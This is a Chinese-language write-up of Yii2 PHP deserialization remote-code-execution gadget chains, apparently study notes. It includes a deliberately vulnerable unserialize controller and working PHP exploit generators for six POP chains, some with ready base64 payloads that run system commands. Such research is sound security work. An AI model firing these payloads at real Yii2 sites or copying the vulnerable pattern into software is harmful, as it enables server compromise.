Yii2介绍
Yii 是一个高性能,基于组件的 PHP 框架,用于快速开发现代 Web 应用程序。即可以用于开发各种用 PHP 构建的 Web 应用。因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。
影响范围
- Yii2 < 2.0.38
2.0.38已修复,官方给yii\db\BatchQueryResult
类加了一个__wakeup()
函数,__wakeup
方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。
环境复现
直接上github
将app下载下来解压
本地web环境使用phpstudy
集成环境搭建,使用phpstorm
进行xdebug
调试
php version:7.4.3nts,Apache version:2.4.39
修改config\web.php
中的cookieValidationKey
为任意值,作为yii\web\Request::cookieValidationKey
的加密值,不设置会报错
接着自己添加一个controller
来进行漏洞的利用,创建一个action:http://url/index.php?r=test/test, controllers的命名是: 名称Controller
,action的命名是: action名称
,如下
controllers/TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($data){
return unserialize(base64_decode($data));
}
}
发包测试,环境搭建成功
CVE漏洞分析
POP1
从yii\db\BatchQueryResult
这个类入手,提起主要代码分析:
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
可以看到,__destruct
调用了reset
方法reset
调用了close
方法,参数_dataReader
可控,学习思路后知道这里可以通过触发__call
方法来进行利用
__call
:当一个对象在对象上下文中调用不可访问的方法时触发
当一个对象调用不可访问的close
方法或者类中压根就没有close
方法,即可触发__call
,全局搜索__call
方法
找到其中一个Faker/Generator.php
类,跟进查看代码
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
__call
方法调用了类中的format
方法,format
方法里的call_user_func_array
里的参数调用了getFormatter
方法
call_user_func_array
:调用回调函数,并把一个数组参数作为回调函数的参数大致使用方法如下
<?php function foobar($arg, $arg2) { echo __FUNCTION__, " got $arg and $arg2\n"; } class foo { function bar($arg, $arg2) { echo __METHOD__, " got $arg and $arg2\n"; } } // Call the foobar() function with 2 arguments call_user_func_array("foobar", array("one", "two")); // Call the $foo->bar() method with 2 arguments $foo = new foo; call_user_func_array(array($foo, "bar"), array("three", "four")); ?>
getFormatter
方法从$this->$formatter
中取值,$this->formatter
可控,所以这里可以调用任意类中的任意方法了。Debug如下
但是$arguments
是从yii\db\BatchQueryResult::reset()
里传过来的,我们不可控,比如这里就为空,因为传来的close
方法中参参数值,所以我们只能不带参数地去调用别的类中的方法。
到这一步就需要一个执行类,这时需要类中的方法需要满足两个条件
- 方法所需的参数只能是其自己类中存在的(即参数:
$this->args
) - 方法需要有命令执行功能
通过全局查找正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
来查找,结果如下
call_user_func
:把第一个参数作为回调函数调用,这里用call_user_func
即可达到命令执行的效果也可以达到RCE
的效果大致使用方法如下
<?php error_reporting(E_ALL); function increment(&$var) { $var++; } $a = 0; call_user_func('increment', $a); echo $a."\n"; call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3 echo $a."\n"; ?>
其中有两个类中的run
方法可用
yii\rest\CreateAction::run()
,$this->checkAccess, $this->id
两个参数可控public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } ...... return $model; }
\yii\rest\IndexAction::run()
,$this->checkAccess, $this->id
两个参数可控public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); }
于是即可构造完整的pop
链
yii\db\BatchQueryResult::__destruct()->reset()->close()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()
Exp
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami'; //command
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new IndexAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>
命令执行结果如下
POP2
还是从yii2/db/BatchQueryResult.php
入手,换种思路,我们不找__call
方法来触发,直接找close
方法
随后我们找到一个FnStream.php
在vendor\guzzlehttp\psr7\src
目录下,代码如下
public function close()
{
return call_user_func($this->_fn_close);
}
$this->_fn_close
可控
Exp
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
print_r(base64_encode(serialize($b)));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ==
}
执行效果如下:
我们需要对危害进行放大,这里就需要一个执行类,拿这个call_user_func
函数作跳板,来进行代码执行,全局搜索eval,找到一个MockTrait.php
文件在vendor\phpunit\phpunit\src\Framework\MockObject
下,代码如下:
public function generate(): string
{
if (!\class_exists($this->mockName, false)) {
eval($this->classCode);
}
return $this->mockName;
}
$this->classCode
和$this->mockName
都可控
于是即可构造完整的pop
链
yii\db\BatchQueryResult::__destruct()->reset()->close()
->
GuzzleHttp\Psr7\FnStream::close()->call_user_func
->
PHPUnit\Framework\MockObject\MockTrait::generate->eval()
Exp
<?php
namespace PHPUnit\Framework\MockObject{
class MockTrait {
private $classCode = "system('whoami');";
private $mockName = "extrader";
}
}
namespace GuzzleHttp\Psr7 {
use PHPUnit\Framework\MockObject\MockTrait;
class FnStream {
var $_fn_close;
function __construct(){
$this->_fn_close = array(
new MockTrait(),
'generate'
);
}
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
print_r(base64_encode(serialize($b)));
}
然而代码并没有执行成功,看到报错信息
__wakeup
方法throw
出去了,当然__wakeup
可绕,前提是PHP5 < 5.6.25,7.x < 7.0.10之前,具体绕过方法网上很多,这里不再赘述,执行效果如下
paylaod:
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoyOntzOjk6Il9mbl9jbG9zZSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQiOjI6e3M6NDk6IgBQSFBVbml0XEZyYW1ld29ya1xNb2NrT2JqZWN0XE1vY2tUcmFpdABjbGFzc0NvZGUiO3M6MTc6InN5c3RlbSgnd2hvYW1pJyk7IjtzOjQ4OiIAUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQAbW9ja05hbWUiO3M6ODoiZXh0cmFkZXIiO31pOjE7czo4OiJnZW5lcmF0ZSI7fX19
这里就疑惑了,我这里php明明是php7.4的环境,为什么也可以绕???
既然__wakeup
可绕,那2.0.38
版本修复的方法就是加一个__wakeup
方法,是不是也可以直接绕?在github上又把2.0.38
版本的源码下下来,然后用构造好的绕过__wakeup
的payload测试,直接没回显了,报错也没了,有点迷,有点迷。。。
2.0.38反序列化
此处参考链接,师傅很强,学习了!
POP3
利用点在vendor/codeception/codeception/ext/RunProcess.php:93
里面有这两个方法
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
对象在销毁的时候,触发__destruct
方法,__destruct
方法调用了stopProcess
方法,stopProcess
方法中的$this->processes
可控,即$process
也可控,$process
会调用isRunning()
方法,那么这里就可以尝试利用__call
方法了,可以接着上面的POP1
链利用
完整的pop
链如下:
\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()
Exp
<?php
// EXP3: RunProcess -> ... -> __call()
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['isRunning'] = [new IndexAction, 'run'];
//stopProcess方法里又调用了isRunning()方法: $process->isRunning()
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
?>
请求结果如下,成功命令执行
POP4
利用点在vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
中
主要代码如下:
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}
unlink
使用拼接字符串,$this->path
可控,即可想到调用__toString
方法(当一个对象被当做字符串使用时被调用)
全局查找__toString()
方法,最好找一些调用其他类函数的__toString
有如下的几个类中的__toString
方法可用:
\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render
...
这里以\Codeception\Util\XmlBuilder::__toString
为例
public function __toString()
{
return $this->__dom__->saveXML();
}
$this->__dom__
可控,在调用saveXML()
方法的时候会调用__call
方法。
pop链如下:
\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
->
\Codeception\Util\XmlBuilder::__toString -> saveXML
->
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()
Exp
<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {
use Codeception\Util\XmlBuilder;
use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;
public function __construct()
{
$this->keys = array(
"extrader" =>array("is", "am")
); //注意 ClearAll中的数组解析了两次,之后再unlink
$this->path = new XmlBuilder();
}
}
$payload = new Swift_KeyCache_DiskKeyCache();
echo base64_encode(serialize($payload));
}
namespace Codeception\Util{
use Faker\Generator;
class XmlBuilder{
protected $__dom__;
public function __construct(){
$this->__dom__ = new Generator();
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Covers{
private $refers;
protected $description;
public function __construct()
{
$this->description = new Generator();
$this->refers = "AnyStringisOK";
}
}
}
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['saveXML'] = [new IndexAction, 'run'];
}
}
}
发包,成功命令执行
2.0.42反序列化
202108月更新,补两条新利用链
POP5
Exp:
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
pop链如下:
\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\ValidGenerator::__call()->call_user_func_array()->call_user_func()
->
Faker\DefaultGenerator::__call()->$this->default
POP6
Exp:
<?php
namespace yii\rest
{
class IndexAction{
function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Symfony\Component\String
{
use yii\rest\IndexAction;
class LazyString
{
function __construct()
{
$this->value = [new indexAction(), "run"];
}
}
class UnicodeString
{
function __construct()
{
$this->value = new LazyString();
}
}
}
namespace Faker
{
use Symfony\Component\String\LazyString;
class DefaultGenerator
{
function __construct()
{
$this->default = new LazyString();
}
}
class UniqueGenerator
{
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension
{
use Faker\UniqueGenerator;
class RunProcess
{
function __construct()
{
$this->processes[] = new UniqueGenerator();
}
}
}
namespace
{
use Codeception\Extension\RunProcess;
$exp = new RunProcess();
echo(base64_encode(serialize($exp)));
}
pop链如下:
\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\UniqueGenerator::__call()->call_user_func_array()->serialize()
->
Symfony\Component\String::__sleep()::__toString()::($this->value)()
小结
- 发现这几个pop链用来用去最后都是靠着
__call
方法来触发代码执行,代码审计的少,以后再遇到代码审计的问题可以多多考虑这一方面的东西 - 善于搜索,使用正则表达式,比如满足
\$this->(\w+)->(\w+)\(\)
这个正则的就可能可以触发__call
方法 - 找链的开端可以尝试从
__destruct
入手,然后追链,追方法 call_user_func
中的callback
可以是数组- 整个pop链下来还是学到不少东西的,慢慢来吧
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues